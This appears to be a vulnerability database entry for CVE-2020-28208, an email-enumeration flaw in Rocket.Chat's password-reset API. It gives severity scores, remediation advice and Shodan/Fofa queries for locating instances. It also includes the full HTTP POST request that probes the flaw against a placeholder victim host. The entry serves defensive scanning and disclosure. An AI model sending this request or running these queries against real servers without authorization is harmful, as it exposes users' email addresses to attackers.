| Title | Rocket.Chat <3.9.1 - Information Disclosure |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | The vulnerability can lead to the exposure of sensitive information, such as user credentials or private conversations, potentially compromising the confidentiality of the system. |
| Remediation | Upgrade Rocket.Chat to version 3.9.1 or later to mitigate the information disclosure vulnerability (CVE-2020-28208). |
| CVSS Score | 5.3 |
| EPSS Score | 0.4617 |
| CVE ID | CVE-2020-28208 |
| CWE ID | CWE-203 |
| Shodan Query | http.title:"rocket.chat" |
| Fofa Query | title="rocket.chat" |
| Tags | cve cve2020 packetstorm rocketchat rocket.chat vuln |
Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Content-Length: 120
Content-Type: application/json
Origin: http://www.victim.com
Accept-Encoding: gzip
{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"user@local.email\"],\"id\":\"3\"}"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28208.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-28208.pcap
N/AN/A